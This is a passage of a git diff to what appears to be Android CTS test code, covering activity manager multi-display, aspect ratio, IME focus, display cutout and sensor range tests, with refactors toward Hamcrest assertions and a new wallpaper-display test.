         final String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
-        final byte[] data = readFile(mReadableFilePath);
-        assertThat("data size", data.length, greaterThanOrEqualTo(expectedFirstWord.length()));
-        final String actualFirstWord = new String(data, 0, expectedFirstWord.length());
+        assertThat(
+                "data size", firstLine.length(), greaterThanOrEqualTo(expectedFirstWord.length()));
+        final String actualFirstWord = firstLine.substring(0, expectedFirstWord.length());
         assertEquals("Unexpected first word", expectedFirstWord, actualFirstWord);
 
         // Clean up.
-        executeShellCommand("rm -f " + OUTPUT_FILE_PATH + " " + mReadableFilePath);
-    }
-
-    private static byte[] readFile(String clientPath) throws Exception {
-        final File file = new File(clientPath);
-        assertTrue("File not found on client: " + clientPath, file.isFile());
-        final int size = (int) file.length();
-        final byte[] bytes = new byte[size];
-        try (final FileInputStream fis = new FileInputStream(file)) {
-            final int readSize = fis.read(bytes, 0, bytes.length);
-            assertEquals("Read all data", bytes.length, readSize);
-            return bytes;
-        }
+        executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
     }
 }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
index 1411886..4a78f48 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
@@ -59,6 +59,7 @@
 import static android.server.am.second.Components.SECOND_NO_EMBEDDING_ACTIVITY;
 import static android.server.am.third.Components.THIRD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
 
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
@@ -70,6 +71,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNotNull;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
@@ -134,7 +136,6 @@
      * Tests launching an activity on virtual display.
      */
     @Test
-    @FlakyTest(bugId = 77270929)
     public void testLaunchActivityOnSecondaryDisplay() throws Exception {
         validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_STANDARD);
     }
@@ -1956,6 +1957,8 @@
             imeTestActivitySession.runOnMainSyncAndWait(
                     imeTestActivitySession.getActivity()::showSoftInput);
             waitOrderedImeEventsThenAssertImeShown(stream, newDisplay.mId,
+                    editorMatcher("onStartInput",
+                            imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
                     event -> "showSoftInput".equals(event.getEventName()));
 
             // Assert the configuration of the IME window is the same as the configuration of the
@@ -1970,6 +1973,8 @@
             imeTestActivitySession2.runOnMainSyncAndWait(
                     imeTestActivitySession2.getActivity()::showSoftInput);
             waitOrderedImeEventsThenAssertImeShown(stream, DEFAULT_DISPLAY,
+                    editorMatcher("onStartInput",
+                            imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()),
                     event -> "showSoftInput".equals(event.getEventName()));
 
             // Assert the configuration of the IME window is the same as the configuration of the
@@ -2039,12 +2044,8 @@
 
             imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
                     display1.mId);
-            imeTestActivitySession.getActivity().mEditText.setPrivateImeOptions(
-                    ImeTestActivity.class.getName());
             imeTestActivitySession2.launchTestActivityOnDisplaySync(ImeTestActivity2.class,
                     display2.mId);
-            imeTestActivitySession2.getActivity().mEditText.setPrivateImeOptions(
-                    ImeTestActivity2.class.getName());
             final ImeEventStream stream = mockImeSession1.openEventStream();
 
             // Tap display1 as top focused display & request focus on EditText to show soft input.
@@ -2053,7 +2054,8 @@
             imeTestActivitySession.runOnMainSyncAndWait(
                     imeTestActivitySession.getActivity()::showSoftInput);
             waitOrderedImeEventsThenAssertImeShown(stream, display1.mId,
-                    editorMatcher("onStartInput", ImeTestActivity.class.getName()),
+                    editorMatcher("onStartInput",
+                            imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
                     event -> "showSoftInput".equals(event.getEventName()));
 
             // Tap display2 as top focused display & request focus on EditText to show soft input.
@@ -2062,7 +2064,8 @@
             imeTestActivitySession2.runOnMainSyncAndWait(
                     imeTestActivitySession2.getActivity()::showSoftInput);
             waitOrderedImeEventsThenAssertImeShown(stream, display2.mId,
-                    editorMatcher("onStartInput", ImeTestActivity2.class.getName()),
+                    editorMatcher("onStartInput",
+                            imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()),
                     event -> "showSoftInput".equals(event.getEventName()));
 
             // Tap display1 again to make sure the IME window will come back.
@@ -2071,7 +2074,8 @@
             imeTestActivitySession.runOnMainSyncAndWait(
                     imeTestActivitySession.getActivity()::showSoftInput);
             waitOrderedImeEventsThenAssertImeShown(stream, display1.mId,
-                    editorMatcher("onStartInput", ImeTestActivity.class.getName()),
+                    editorMatcher("onStartInput",
+                            imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
                     event -> "showSoftInput".equals(event.getEventName()));
         }
     }
@@ -2129,6 +2133,43 @@
     }
 
     /**
+     * Tests that wallpaper shows on secondary displays.
+     */
+    @Test
+    public void testWallpaperShowOnSecondaryDisplays() throws Exception {
+        mAmWmState.computeState(true);
+        final WindowManagerState.WindowState wallpaper =
+                mAmWmState.getWmState().findFirstWindowWithType(TYPE_WALLPAPER);
+        // Skip if there is no wallpaper.
+        assumeNotNull(wallpaper);
+        try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+            final ActivityDisplay noDecorDisplay = virtualDisplaySession.setPublicDisplay(true)
+                    .setShowSystemDecorations(false).createDisplay();
+            // Tests when the system decor flag is included in that display, the wallpaper must
+            // be displayed on the secondary display. And at the same time we do not need to wait
+            // for the wallpaper which should not to be displayed.
+            final ActivityDisplay decorDisplay = virtualDisplaySession.setPublicDisplay(true)
+                    .setShowSystemDecorations(true).createDisplay();
+            mAmWmState.waitForWithWmState((state) -> isWallpaperOnDisplay(state, decorDisplay.mId),
+                    "Waiting for wallpaper window to show");
+            assertTrue("Wallpaper must be displayed on secondary display with system decor flag",
+                    isWallpaperOnDisplay(mAmWmState.getWmState(), decorDisplay.mId));
+
+            assertFalse("Wallpaper must not be displayed on the display without system decor flag",
+                    isWallpaperOnDisplay(mAmWmState.getWmState(), noDecorDisplay.mId));
+        }
+    }
+
+    private boolean isWallpaperOnDisplay(WindowManagerState windowManagerState, int displayId) {
+        List<WindowManagerState.WindowState> states =
+                windowManagerState.getMatchingWindowType(TYPE_WALLPAPER);
+        for (WindowManagerState.WindowState ws : states) {
+            if (ws.getDisplayId() == displayId) return true;
+        }
+        return false;
+    }
+
+    /**
      * Test that the IME should be shown in default display when target display does not support
      * system decoration.
      */
@@ -2399,15 +2440,18 @@
         protected void onCreate(Bundle icicle) {
             super.onCreate(icicle);
             mEditText = new EditText(this);
+            // Set private IME option for editorMatcher to identify which TextView received
+            // onStartInput event.
+            mEditText.setPrivateImeOptions(
+                    getClass().getName() + "/" + Long.toString(SystemClock.elapsedRealtimeNanos()));
             final LinearLayout layout = new LinearLayout(this);
             layout.setOrientation(LinearLayout.VERTICAL);
             layout.addView(mEditText);
+            mEditText.requestFocus();
             setContentView(layout);
         }
 
         void showSoftInput() {
-            mEditText.setFocusable(true);
-            mEditText.requestFocus();
             getSystemService(InputMethodManager.class).showSoftInput(mEditText, 0);
         }
     }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java b/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
index 5483700..d90464c 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
@@ -27,6 +27,7 @@
 import static org.junit.Assume.assumeFalse;
 
 import android.content.ComponentName;
+import android.platform.test.annotations.Presubmit;
 import android.server.am.WindowManagerState.Display;
 
 import org.junit.Test;
@@ -35,6 +36,7 @@
  * Build/Install/Run:
  *     atest CtsActivityManagerDeviceTestCases:AnimationBackgroundTests
  */
+@Presubmit
 public class AnimationBackgroundTests extends ActivityManagerTestBase {
 
     @Test
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
index 0cb300a..808d06d 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
@@ -16,10 +16,14 @@
 
 package android.server.am;
 
-import static android.content.Context.WINDOW_SERVICE;
 import static android.content.pm.PackageManager.FEATURE_WATCH;
 
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
+import static org.hamcrest.Matchers.is;
+import static org.hamcrest.Matchers.lessThanOrEqualTo;
+import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeThat;
 
 import android.app.Activity;
 import android.content.Context;
@@ -31,8 +35,6 @@
 import android.view.Display;
 import android.view.WindowManager;
 
-import com.android.compatibility.common.util.PollingCheck;
-
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -93,9 +95,9 @@
                     false /* initialTouchMode */, false /* launchActivity */);
 
     @Test
-    public void testDeviceAspectRatio() throws Exception {
+    public void testDeviceAspectRatio() {
         final Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        final WindowManager wm = (WindowManager) context.getSystemService(WINDOW_SERVICE);
+        final WindowManager wm = context.getSystemService(WindowManager.class);
         final Display display = wm.getDefaultDisplay();
         final DisplayMetrics metrics = new DisplayMetrics();
         display.getRealMetrics(metrics);
@@ -106,60 +108,46 @@
         float expectedMinAspectRatio = context.getPackageManager().hasSystemFeature(FEATURE_WATCH)
                 ? MIN_WATCH_DEVICE_ASPECT_RATIO : MIN_DEVICE_ASPECT_RATIO;
 
-        if (deviceAspectRatio < expectedMinAspectRatio) {
-            fail("deviceAspectRatio=" + deviceAspectRatio
-                    + " is less than expectedMinAspectRatio=" + expectedMinAspectRatio);
-        }
+        assertThat(deviceAspectRatio, greaterThanOrEqualTo(expectedMinAspectRatio));
     }
 
     @Test
-    public void testMaxAspectRatio() throws Exception {
-        runAspectRatioTest(mMaxAspectRatioActivity, actual -> {
-            if (MAX_ASPECT_RATIO >= actual) return;
-            fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+    public void testMaxAspectRatio() {
+        // Activity has a maxAspectRatio, assert that the actual ratio is less than that.
+        runAspectRatioTest(mMaxAspectRatioActivity, (actual, displayId) -> {
+            assertThat(actual, lessThanOrEqualTo(MAX_ASPECT_RATIO));
         });
     }
 
     @Test
-    public void testMetaDataMaxAspectRatio() throws Exception {
-        runAspectRatioTest(mMetaDataMaxAspectRatioActivity, actual -> {
-            if (MAX_ASPECT_RATIO >= actual) return;
-            fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+    public void testMetaDataMaxAspectRatio() {
+        // Activity has a maxAspectRatio, assert that the actual ratio is less than that.
+        runAspectRatioTest(mMetaDataMaxAspectRatioActivity, (actual, displayId) -> {
+            assertThat(actual, lessThanOrEqualTo(MAX_ASPECT_RATIO));
         });
     }
 
     @Test
-    public void testMaxAspectRatioResizeableActivity() throws Exception {
-        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        final float expected = getAspectRatio(context);
-        final Activity testActivity = launchActivity(mMaxAspectRatioResizeableActivity);
-        PollingCheck.waitFor(testActivity::hasWindowFocus);
+    public void testMaxAspectRatioResizeableActivity() {
+        // Since this activity is resizeable, its max aspect ratio should be ignored.
+        runAspectRatioTest(mMaxAspectRatioResizeableActivity, (actual, displayId) -> {
+            // TODO(b/69982434): Add ability to get native aspect ratio non-default display.
+            assumeThat(displayId, is(Display.DEFAULT_DISPLAY));
 
-        Display testDisplay = testActivity.findViewById(android.R.id.content).getDisplay();
-
-        // TODO(b/69982434): Fix DisplayManager NPE when getting display from Instrumentation
-        // context, then can use DisplayManager to get the aspect ratio of the correct display.
-        if (testDisplay.getDisplayId() != Display.DEFAULT_DISPLAY) {
-            return;
-        }
-
-        // Since this activity is resizeable, its aspect ratio shouldn't be less than the device's
-        runTest(testActivity, actual -> {
-            if (aspectRatioEqual(expected, actual) || expected < actual) return;
-            fail("actual=" + actual + " is less than expected=" + expected);
+            final float defaultDisplayAspectRatio = getDefaultDisplayAspectRatio();
+            assertThat(actual, greaterThanOrEqualToInexact(defaultDisplayAspectRatio));
         });
     }
 
     @Test
-    public void testMaxAspectRatioUnsetActivity() throws Exception {
-        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        final float expected = getAspectRatio(context);
+    public void testMaxAspectRatioUnsetActivity() {
+        // Since this activity didn't set an explicit maxAspectRatio, there should be no such
+        // ratio enforced.
+        runAspectRatioTest(mMaxAspectRatioUnsetActivity, (actual, displayId) -> {
+            // TODO(b/69982434): Add ability to get native aspect ratio non-default display.
+            assumeThat(displayId, is(Display.DEFAULT_DISPLAY));
 
-        // Since this activity didn't set an aspect ratio, its aspect ratio shouldn't be less than
-        // the device's
-        runAspectRatioTest(mMaxAspectRatioUnsetActivity, actual -> {
-            if (aspectRatioEqual(expected, actual) || expected < actual) return;
-            fail("actual=" + actual + " is less than expected=" + expected);
+            assertThat(actual, greaterThanOrEqualToInexact(getDefaultDisplayAspectRatio()));
         });
     }
 }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
index 0d1086c..eaf1276 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
@@ -16,28 +16,39 @@
 
 package android.server.am;
 
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
+import static org.hamcrest.Matchers.lessThanOrEqualTo;
+
 import android.app.Activity;
-import android.content.Context;
 import android.graphics.Point;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.rule.ActivityTestRule;
 import android.view.Display;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.hamcrest.Matcher;
+
 class AspectRatioTestsBase {
     // The delta allowed when comparing two floats for equality. We consider them equal if they are
     // within two significant digits of each other.
     private static final float FLOAT_EQUALITY_DELTA = .01f;
 
     interface AssertAspectRatioCallback {
-        void assertAspectRatio(float actual);
+        void assertAspectRatio(float actual, int displayId);
     }
 
     void runAspectRatioTest(final ActivityTestRule activityRule,
             final AssertAspectRatioCallback callback) {
         final Activity activity = launchActivity(activityRule);
-        runTest(activity, callback);
-        finishActivity(activityRule);
+        PollingCheck.waitFor(activity::hasWindowFocus);
+        try {
+            callback.assertAspectRatio(getActivityAspectRatio(activity),
+                    getDisplay(activity).getDisplayId());
+        } finally {
+            finishActivity(activityRule);
+        }
 
         // TODO(b/35810513): All this rotation stuff doesn't really work yet. Need to make sure
         // context is updated correctly here. Also, what does it mean to be holding a reference to
@@ -51,13 +62,20 @@
 //        callback.assertAspectRatio(getAspectRatio(activity));
     }
 
-    protected void runTest(Activity activity, AssertAspectRatioCallback callback) {
-        callback.assertAspectRatio(getAspectRatio(activity));
+    static float getDefaultDisplayAspectRatio() {
+        return getAspectRatio(InstrumentationRegistry.getContext().getSystemService(
+                WindowManager.class).getDefaultDisplay());
     }
 
-     static float getAspectRatio(Context context) {
-        final Display display =
-                context.getSystemService(WindowManager.class).getDefaultDisplay();
+    static float getActivityAspectRatio(Activity activity) {
+        return getAspectRatio(getDisplay(activity));
+    }
+
+    private static Display getDisplay(Activity activity) {
+        return activity.getWindow().peekDecorView().getDisplay();
+    }
+
+    private static float getAspectRatio(Display display) {
         final Point size = new Point();
         display.getSize(size);
         final float longSide = Math.max(size.x, size.y);
@@ -82,11 +100,11 @@
         InstrumentationRegistry.getInstrumentation().waitForIdleSync();
     }
 
-    static boolean aspectRatioEqual(float a, float b) {
-        return Math.abs(a - b) < FLOAT_EQUALITY_DELTA;
+    static Matcher<Float> greaterThanOrEqualToInexact(float expected) {
+        return greaterThanOrEqualTo(expected - FLOAT_EQUALITY_DELTA);
     }
 
-    static boolean aspectRatioLessThanEqual(float a, float b) {
-        return a < b || aspectRatioEqual(a, b);
+    static Matcher<Float> lessThanOrEqualToInexact(float expected) {
+        return lessThanOrEqualTo(expected + FLOAT_EQUALITY_DELTA);
     }
 }
diff --git a/tests/framework/base/activitymanager/testsdk25/Android.mk b/tests/framework/base/activitymanager/testsdk25/Android.mk
index e55d5f0..c9275f1 100644
--- a/tests/framework/base/activitymanager/testsdk25/Android.mk
+++ b/tests/framework/base/activitymanager/testsdk25/Android.mk
@@ -27,7 +27,8 @@
 LOCAL_SDK_VERSION := 25
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test
+    android-support-test \
+    cts-amwm-util
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
index ce83d59..f2c2477 100644
--- a/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
+++ b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
@@ -16,6 +16,7 @@
 
 package android.server.am;
 
+import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
@@ -48,10 +49,9 @@
                     false /* initialTouchMode */, false /* launchActivity */);
 
     @Test
-    public void testMaxAspectRatioPreOActivity() throws Exception {
-        runAspectRatioTest(mSdk25MaxAspectRatioActivity, actual -> {
-            if (aspectRatioLessThanEqual(actual, MAX_PRE_O_ASPECT_RATIO)) return;
-            fail("actual=" + actual + " is greater than expected=" + MAX_PRE_O_ASPECT_RATIO);
+    public void testMaxAspectRatioPreOActivity() {
+        runAspectRatioTest(mSdk25MaxAspectRatioActivity, (actual, displayId) -> {
+            assertThat(actual, lessThanOrEqualToInexact(MAX_PRE_O_ASPECT_RATIO));
         });
     }
 }
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index 7d2a0e2..5d09c94 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -137,12 +137,14 @@
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
 import java.util.UUID;
+import java.util.concurrent.Callable;
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -164,6 +166,14 @@
     private static final String TEST_PACKAGE = "android.server.am";
     private static final String SECOND_TEST_PACKAGE = "android.server.am.second";
     private static final String THIRD_TEST_PACKAGE = "android.server.am.third";
+    private static final List<String> TEST_PACKAGES;
+    static {
+        final List<String> testPackages = new ArrayList<>(3);
+        testPackages.add(TEST_PACKAGE);
+        testPackages.add(SECOND_TEST_PACKAGE);
+        testPackages.add(THIRD_TEST_PACKAGE);
+        TEST_PACKAGES = Collections.unmodifiableList(testPackages);
+    }
 
     protected static final String AM_START_HOME_ACTIVITY_COMMAND =
             "am start -a android.intent.action.MAIN -c android.intent.category.HOME";
@@ -181,6 +191,14 @@
     protected ActivityManager mAm;
     protected ActivityTaskManager mAtm;
 
+    /**
+     * Callable to clear launch params for all test packages.
+     */
+    private final Callable<Void> mClearLaunchParamsCallable = () -> {
+        mAtm.clearLaunchParamsForPackages(TEST_PACKAGES);
+        return null;
+    };
+
     @Rule
     public final ActivityTestRule<SideActivity> mSideActivityRule =
             new ActivityTestRule<>(SideActivity.class, true /* initialTouchMode */,
@@ -366,6 +384,9 @@
         pressUnlockButton();
         pressHomeButton();
         removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+
+        // Clear launch params for all test packages to make sure each test is run in a clean state.
+        SystemUtil.callWithShellPermissionIdentity(mClearLaunchParamsCallable);
     }
 
     @After
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
index 770777e..0eceaf4 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
@@ -328,6 +328,10 @@
         }
     }
 
+    List<WindowState> getMatchingWindowType(int type) {
+        return getMatchingWindows(ws -> type == ws.mType).collect(Collectors.toList());
+    }
+
     List<String> getMatchingWindowTokens(final String windowName) {
         return getMatchingWindows(ws -> windowName.equals(ws.getName()))
                 .map(WindowState::getToken)
@@ -633,7 +637,6 @@
     static class WindowTask extends WindowContainer {
 
         int mTaskId;
-        Rect mTempInsetBounds;
         List<String> mAppTokens = new ArrayList<>();
         private int mSurfaceWidth;
         private int mSurfaceHeight;
@@ -654,7 +657,6 @@
                     mSubWindows.addAll(window.getWindows());
                 }
             }
-            mTempInsetBounds = extract(proto.tempInsetBounds);
             mSurfaceWidth = proto.surfaceWidth;
             mSurfaceHeight = proto.surfaceHeight;
         }
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index 85631ad..81f1b9d 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -32,7 +32,9 @@
 
         <activity android:name="android.server.wm.AlertWindowsAppOpsTestsActivity"/>
         <activity android:name="android.server.wm.DialogFrameTestActivity" />
-        <activity android:name="android.server.wm.DisplayCutoutTests$TestActivity" />
+        <activity android:name="android.server.wm.DisplayCutoutTests$TestActivity"
+                  android:turnScreenOn="true"
+                  android:showWhenLocked="true"/>
         <activity android:name="android.server.wm.LayoutTestsActivity"
                   android:theme="@style/no_animation" />
         <activity android:name="android.server.wm.LocationOnScreenTests$TestActivity"
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
index fc02e8e..5caa9d6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
@@ -351,13 +351,19 @@
             }
             View view = new View(this);
             view.setLayoutParams(new ViewGroup.LayoutParams(MATCH_PARENT, MATCH_PARENT));
-            view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
-                    | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
-                    | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
             view.setOnApplyWindowInsetsListener((v, insets) -> mDispatchedInsets = insets);
             setContentView(view);
         }
 
+        @Override
+        public void onWindowFocusChanged(boolean hasFocus) {
+            if (hasFocus) {
+                getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
+                        | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
+                        | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+            }
+        }
+
         View getDecorView() {
             return getWindow().getDecorView();
         }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 9b3034e..f8faa15 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -74,7 +74,7 @@
 
     public EditText launchTestActivity(String marker) {
         final AtomicReference<EditText> editTextRef = new AtomicReference<>();
-        TestActivity.startSync(activity-> {
+        TestActivity.startSyncAndWait(activity-> {
             final LinearLayout layout = new LinearLayout(activity);
             layout.setOrientation(LinearLayout.VERTICAL);
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
index b320f88..29f99e9 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
@@ -58,7 +58,7 @@
 
     public EditText launchTestActivity() {
         final AtomicReference<EditText> editTextRef = new AtomicReference<>();
-        TestActivity.startSync(activity -> {
+        TestActivity.startSyncAndWait(activity -> {
             final LinearLayout layout = new LinearLayout(activity);
             layout.setOrientation(LinearLayout.VERTICAL);
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
index 619c852..f578e03 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
@@ -50,7 +50,7 @@
 
     public SearchView launchTestActivity() {
         final AtomicReference<SearchView> searchViewRef = new AtomicReference<>();
-        TestActivity.startSync(activity -> {
+        TestActivity.startSyncAndWait(activity -> {
             final LinearLayout layout = new LinearLayout(activity);
             layout.setOrientation(LinearLayout.VERTICAL);
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
index 0eaa3d6..f44c3f8 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
@@ -34,7 +34,6 @@
 import java.util.function.Function;
 
 public final class TestActivity extends Activity {
-
     private static final AtomicReference<Function<TestActivity, View>> sInitializer =
             new AtomicReference<>();
 
@@ -44,6 +43,8 @@
 
     private long mOnBackPressedCallCount;
 
+    private boolean mEnterAnimationComplete = false;
+
     /**
      * Controls how {@link #onBackPressed()} behaves.
      *
@@ -94,6 +95,25 @@
     }
 
     /**
+     * Launches {@link TestActivity} with the given initialization logic for content view and waits
+     * for the enter animation to complete.
+     *
+     * <p>As long as you are using {@link android.support.test.runner.AndroidJUnitRunner}, the test
+     * runner automatically calls {@link Activity#finish()} for the {@link Activity} launched when
+     * the test finished.  You do not need to explicitly call {@link Activity#finish()}.</p>
+     *
+     * @param activityInitializer initializer to supply {@link View} to be passed to
+     *                           {@link Activity#setContentView(View)}
+     * @return {@link TestActivity} launched
+     */
+    public static TestActivity startSyncAndWait(
+            @NonNull Function<TestActivity, View> activityInitializer) {
+        TestActivity activity = startSync(activityInitializer, 0 /* noAnimation */);
+        activity.waitForEnterAnimationComplete();
+        return activity;
+    }
+
+    /**
      * Launches {@link TestActivity} with the given initialization logic for content view.
      *
      * <p>As long as you are using {@link android.support.test.runner.AndroidJUnitRunner}, the test
@@ -135,6 +155,30 @@
                 .getInstrumentation().startActivitySync(intent);
     }
 
+    @Override
+    public void onStop() {
+        super.onStop();
+        mEnterAnimationComplete = false;
+    }
+
+    @Override
+    public void onEnterAnimationComplete() {
+        synchronized (this) {
+           mEnterAnimationComplete = true;
+           notifyAll();
+        }
+    }
+
+    private void waitForEnterAnimationComplete() {
+        synchronized(this) {
+            if (mEnterAnimationComplete == false) {
+                try {
+                    wait(5000);
+                } catch (InterruptedException e) {}
+            }
+        }
+    }
+
     /**
      * Updates {@link WindowManager.LayoutParams#softInputMode}.
      *
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 6fda9ed..94d7de8 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -77,6 +77,7 @@
     private static final int STEP_DETECTOR_MIN_FIFO_LENGTH = 100;
 
     private boolean mHasHifiSensors;
+    private boolean mVrModeHighPerformance;
     private SensorManager mSensorManager;
 
     @Override
@@ -84,6 +85,7 @@
         PackageManager pm = getContext().getPackageManager();
         mSensorManager = (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
         mHasHifiSensors = pm.hasSystemFeature(PackageManager.FEATURE_HIFI_SENSORS);
+        mVrModeHighPerformance = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
     }
 
     public void testAccelerometerRange() {
@@ -92,7 +94,7 @@
                 ACCELEROMETER_HIFI_MAX_FREQUENCY_BEFORE_N;
 
         checkSensorRangeAndFrequency(
-                mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
+                Sensor.TYPE_ACCELEROMETER,
                 ACCELEROMETER_MAX_RANGE,
                 ACCELEROMETER_MAX_FREQUENCY,
                 ACCELEROMETER_HIFI_MAX_RANGE,
@@ -106,7 +108,7 @@
                 GYRO_HIFI_MAX_FREQUENCY_BEFORE_N;
 
         checkSensorRangeAndFrequency(
-                mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE),
+                Sensor.TYPE_GYROSCOPE,
                 GYRO_MAX_RANGE,
                 GYRO_MAX_FREQUENCY,
                 GYRO_HIFI_MAX_RANGE,
@@ -116,7 +118,7 @@
 
     public void testMagnetometerRange() {
         checkSensorRangeAndFrequency(
-                mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD),
+                Sensor.TYPE_MAGNETIC_FIELD,
